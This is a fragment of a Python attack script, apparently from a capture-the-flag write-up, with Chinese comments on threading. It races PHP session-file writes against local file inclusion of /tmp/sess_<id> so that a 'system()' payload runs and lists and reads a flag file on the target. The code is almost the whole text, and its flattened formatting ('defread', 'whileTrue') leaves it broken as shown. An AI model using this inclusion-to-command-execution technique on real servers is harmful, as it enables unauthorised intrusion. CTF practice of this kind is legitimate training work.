defread(session): whileTrue: resp = session.post( f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');") if file in resp.text: print(resp.text) event.clear() else: print("[+]retry") # print(resp.text)
if __name__ == "__main__": event = threading.Event() with requests.session() as session: for i in xrange(1, 30): # 每次调用返回其中的一个值,内存空间使用极少,因而性能非常好 threading.Thread(target=write, args=(session,)).start() # target:在run方法中调用的可调用对象,即需要开启线程的可调用对象,比如函数或方法;args:在参数target中传入的可调用对象的参数元组,默认为空元组() for i in xrange(1, 30): threading.Thread(target=read, args=(session,)).start() event.set()